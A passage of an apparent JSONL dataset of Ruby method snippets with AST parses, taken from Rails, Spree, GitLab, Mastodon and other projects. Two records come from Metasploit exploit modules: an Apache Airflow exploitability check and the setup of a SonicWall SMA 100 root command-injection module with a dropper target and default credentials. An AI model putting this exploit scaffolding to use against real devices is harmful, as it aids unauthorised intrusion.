determined.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version_number\"]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"1.10.11\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target is running Apache Airflow Version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version_number\"]}]},{\"type\":\"str\",\"children\":[\". \"]}]},{\"type\":\"str\",\"children\":[\"Performing additional checks for exploitability...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_api\"]},{\"type\":\"send\",\"children\":[null,\"check_task\"]},{\"type\":\"send\",\"children\":[null,\"check_unpaused\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]}]}]}","id":"e19d4746-3535-470e-a70b-348750fb0a76"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/export.rb","start_line":159,"raw_source":"def current_ability\n @current_ability ||= Spree::Dependencies.ability_class.constantize.new(user, { store: store })\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"current_ability\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_ability\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Dependencies\"]},\"ability_class\"]},\"constantize\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"store\"]},{\"type\":\"send\",\"children\":[null,\"store\"]}]}]}]}]}]}","id":"b58f3264-8938-40c1-8589-b78ea495aa3d"} {"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/attachments/prepare_upload_contract.rb","start_line":54,"raw_source":"def pending_content_type?\n return false unless OpenProject::Configuration.direct_uploads?\n\n model.content_type == OpenProject::ContentTypeDetector::SENSIBLE_DEFAULT\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pending_content_type?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Configuration\"]},\"direct_uploads?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"content_type\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"ContentTypeDetector\"]},\"SENSIBLE_DEFAULT\"]}]}]}]}","id":"170baea4-5f99-4a84-a009-8e88c66fdbe4"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":831,"raw_source":"def test_form_with_with_method\n form_with(model: @post, url: \"/\", method: :delete, id: \"create-post\") do |f|\n concat f.text_field(:title)\n concat f.textarea(:body)\n concat f.checkbox(:secret)\n end\n\n expected = whole_form(\"/\", \"create-post\", method: \"delete\") do\n \"<input name='post[title]' type='text' value='Hello World' id='post_title' />\" \\\n \"<textarea name='post[body]' id='post_body' >\\nBack to the hill and over it again!</textarea>\" \\\n \"<input name='post[secret]' type='hidden' value='0' autocomplete='off' />\" \\\n \"<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />\"\n end\n\n assert_dom_equal expected, @rendered\n end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_with_with_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"delete\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"create-post\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"textarea\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"checkbox\",{\"type\":\"sym\",\"children\":[\"secret\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"str\",\"children\":[\"create-post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"delete\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input name='post[title]' type='text' value='Hello World' id='post_title' />\"]},{\"type\":\"str\",\"children\":[\"<textarea name='post[body]' id='post_body' >\\nBack to the hill and over it again!</textarea>\"]},{\"type\":\"str\",\"children\":[\"<input name='post[secret]' type='hidden' value='0' autocomplete='off' />\"]},{\"type\":\"str\",\"children\":[\"<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"4d254e89-d440-426f-a357-f92476c19108"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/core.rb","start_line":837,"raw_source":"def init_internals\n @readonly = false\n @previously_new_record = false\n @destroyed = false\n @marked_for_destruction = false\n @destroyed_by_association = nil\n @_start_transaction_state = nil\n\n klass = self.class\n\n @primary_key = klass.primary_key\n @strict_loading = klass.strict_loading_by_default\n @strict_loading_mode = klass.strict_loading_mode\n\n klass.define_attribute_methods\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"init_internals\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@readonly\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@previously_new_record\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@destroyed\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@marked_for_destruction\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@destroyed_by_association\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_start_transaction_state\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@primary_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"primary_key\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@strict_loading\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"strict_loading_by_default\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@strict_loading_mode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"strict_loading_mode\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"define_attribute_methods\"]}]}]}","id":"8ee39058-146e-4d69-83c4-ba71f72197d5"} {"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/storefront_helper.rb","start_line":106,"raw_source":"def paths_equal?(path1, path2)\n path1 = URI.parse(path1).path.chomp('/')\n path2 = URI.parse(path2).path.chomp('/')\n\n path1 == path2\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"paths_equal?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path1\"]},{\"type\":\"arg\",\"children\":[\"path2\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path1\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"path1\"]}]},\"path\"]},\"chomp\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path2\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"path2\"]}]},\"path\"]},\"chomp\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path1\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"path2\"]}]}]}]}","id":"d7503e88-9026-43f4-a21a-a366db5347eb"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/protected_branch_importer.rb","start_line":64,"raw_source":"def allow_force_push?\n return false unless protected_branch.allow_force_pushes\n\n if protected_on_gitlab?\n ProtectedBranch.allow_force_push?(project, protected_branch.id)\n elsif default_branch?\n !default_branch_protection.any?\n else\n true\n end\n end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_force_push?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protected_branch\"]},\"allow_force_pushes\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protected_on_gitlab?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProtectedBranch\"]},\"allow_force_push?\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protected_branch\"]},\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_branch?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_branch_protection\"]},\"any?\"]},\"!\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"1b650a54-5e0e-4dee-8546-d6307c0441e4"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/integration/test_holidays.rb","start_line":79,"raw_source":"def test_any_region_holiday_next\n # Should return Victoria Day.\n holidays = Holidays.next_holidays(1, [:ca], Date.civil(2008,5,1))\n assert_equal 1, holidays.length\n assert_equal ['2008-07-01','Canada Day'] , [holidays.first[:date].to_s, holidays.first[:name].to_s]\n\n # Should return 2 holidays.\n holidays = Holidays.next_holidays(2, [:ca], Date.civil(2008,5,1))\n assert_equal 2, holidays.length\n\n # Should return 1 holiday in July\n holidays = Holidays.next_holidays(1, [:jp], Date.civil(2016, 5, 22))\n assert_equal ['2016-07-18','海の日'] , [holidays.first[:date].to_s, holidays.first[:name].to_s]\n\n # Must Region.If there is not region, raise ArgumentError.\n assert_raises ArgumentError do\n Holidays.next_holidays(2, '', Date.civil(2008,5,1))\n end\n # Options should be present.If they are empty, raise ArgumentError.\n assert_raises ArgumentError do\n Holidays.next_holidays(2, [], Date.civil(2008,5,1))\n end\n # Options should be Array.If they are not Array, raise ArgumentError.\n assert_raises ArgumentError do\n Holidays.next_holidays(2, :ca, Date.civil(2008,5,1))\n end\n end","complexity_score":55.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_any_region_holiday_next\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"holidays\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"next_holidays\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"holidays\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"2008-07-01\"]},{\"type\":\"str\",\"children\":[\"Canada Day\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"holidays\"]},\"first\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"date\"]}]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"holidays\"]},\"first\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"holidays\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"next_holidays\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"holidays\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"holidays\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"next_holidays\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"jp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2016]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[22]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"2016-07-18\"]},{\"type\":\"str\",\"children\":[\"海の日\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"holidays\"]},\"first\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"date\"]}]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"holidays\"]},\"first\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"to_s\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"next_holidays\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"next_holidays\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"next_holidays\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"sym\",\"children\":[\"ca\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"bf7b5d35-9dde-40f0-88ef-66caace9d321"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/status_policy.rb","start_line":69,"raw_source":"def author_blocking_domain?\n return false if current_account.nil? || current_account.domain.nil?\n\n author.domain_blocking?(current_account.domain)\n end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"author_blocking_domain?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"domain\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"author\"]},\"domain_blocking?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"domain\"]}]}]}]}","id":"db83c6bf-bceb-46e4-8c74-4c9290958866"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/sonicwall_cve_2021_20039.rb","start_line":13,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'SonicWall SMA 100 Series Authenticated Command Injection',\n 'Description' => %q{\n This module exploits an authenticated command injection vulnerability\n in the SonicWall SMA 100 series web interface. Exploitation results in\n command execution as root. The affected versions are:\n\n - 10.2.1.2-24sv and below\n - 10.2.0.8-37sv and below\n - 9.0.0.11-31sv and below\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'jbaines-r7' # Vulnerability discovery and Metasploit module\n ],\n 'References' => [\n [ 'CVE', '2021-20039' ],\n [ 'URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026'],\n [ 'URL', 'https://www.rapid7.com/blog/post/2022/01/11/cve-2021-20038-42-sonicwall-sma-100-multiple-vulnerabilities-fixed-2'],\n [ 'URL', 'https://attackerkb.com/topics/9szJhq46lw/cve-2021-20039/rapid7-analysis']\n ],\n 'DisclosureDate' => '2021-12-14',\n 'Platform' => ['linux'],\n 'Arch' => [ARCH_X86],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86],\n 'Type' => :linux_dropper,\n 'CmdStagerFlavor' => [ 'echo', 'printf' ]\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true,\n 'PrependFork' => true\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]\n }\n )\n )\n register_options([\n OptString.new('TARGETURI', [true, 'Base path', '/']),\n OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),\n OptString.new('PASSWORD', [true, 'The password to authenticate with', 'password']),\n OptString.new('SWDOMAIN', [true, 'The domain to log in to', 'LocalDomain']),\n OptString.new('PORTALNAME', [true, 'The portal to log in to', 'VirtualOffice'])\n ])\n end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SonicWall SMA 100 Series Authenticated Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits an authenticated command injection vulnerability\\n\"]},{\"type\":\"str\",\"children\":[\" in the SonicWall SMA 100 series web interface. Exploitation results in\\n\"]},{\"type\":\"str\",\"children\":[\" command execution as root. The affected versions are:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" - 10.2.1.2-24sv and below\\n\"]},{\"type\":\"str\",\"children\":[\" - 10.2.0.8-37sv and below\\n\"]},{\"type\":\"str\",\"children\":[\" - 9.0.0.11-31sv and below\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"jbaines-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2021-20039\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.rapid7.com/blog/post/2022/01/11/cve-2021-20038-42-sonicwall-sma-100-multiple-vulnerabilities-fixed-2\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/topics/9szJhq46lw/cve-2021-20039/rapid7-analysis\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2021-12-14\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"linux_dropper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"echo\"]},{\"type\":\"str\",\"children\":[\"printf\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PrependFork\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to authenticate with\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password to authenticate with\"]},{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SWDOMAIN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The domain to log in to\"]},{\"type\":\"str\",\"children\":[\"LocalDomain\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PORTALNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The portal to log 